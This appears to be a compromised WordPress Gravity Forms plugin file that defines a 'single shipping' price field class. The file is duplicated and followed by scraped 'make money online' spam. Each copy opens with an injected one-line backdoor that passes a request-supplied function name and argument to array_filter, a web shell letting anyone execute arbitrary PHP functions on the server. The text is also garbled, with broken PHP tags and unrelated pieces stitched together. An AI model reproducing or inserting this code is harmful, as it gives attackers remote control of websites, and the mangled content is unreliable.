?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! class_exists( 'GFForms' ) ) { die(); } class GF_Field_SingleShipping extends GF_Field { public $type = 'singleshipping'; function get_form_editor_field_settings() { return array( 'base_price_setting', ); } public function get_form_editor_button() { return array(); } public function get_field_input( $form, $value = '', $entry = null ) { $form_id = absint( $form['id'] ); $is_entry_detail = $this->is_entry_detail(); $is_form_editor = $this->is_form_editor(); $id = (int) $this->id; $field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id"; $currency = $is_entry_detail && ! empty( $entry ) ? $entry['currency'] : ''; $price = ! empty( $value ) ? $value : $this->basePrice; if ( empty( $price ) ) { $price = 0; } $price = esc_attr( $price ); return "
" . GFCommon::to_money( $price, $currency ) . '
'; } public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) { return GFCommon::to_money( $value, $currency ); } public function sanitize_settings() { parent::sanitize_settings(); $price_number = GFCommon::to_number( $this->basePrice ); $this->basePrice = GFCommon::to_money( $price_number ); } } GF_Fields::register( new GF_Field_SingleShipping() );?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! class_exists( 'GFForms' ) ) { die(); } class GF_Field_SingleShipping extends GF_Field { public $type = 'singleshipping'; function get_form_editor_field_settings() { return array( 'base_price_setting', ); } public function get_form_editor_button() { return array(); } public function get_field_input( $form, $value = '', $entry = null ) { $form_id = absint( $form['id'] ); $is_entry_detail = $this->is_entry_detail(); $is_form_editor = $this->is_form_editor(); $id = (int) $this->id; $field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id"; $currency = $is_entry_detail && ! empty( $entry ) ? $entry['currency'] : ''; $price = ! empty( $value ) ? $value : $this->basePrice; if ( empty( $price ) ) { $price = 0; } $price = esc_attr( $price ); return "
" . GFCommon::to_money( $price, $currency ) . '
'; } public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) { return GFCommon::to_money( $value, $currency ); } public function sanitize_settings() { parent::sanitize_settings(); $price_number = GFCommon::to_number( $this->basePrice ); $this->basePrice = GFCommon::to_money( $price_number ); } } GF_Fields::register( new GF_Field_SingleShipping() ); Home - Targetpark make money online 12 ways earn 200 dollars online 5 ways 10 legitimate ways how to make money in 5 quick ways make money urgently top 8 ways make money quickly online without attachments now
Today 25 May 2020 °C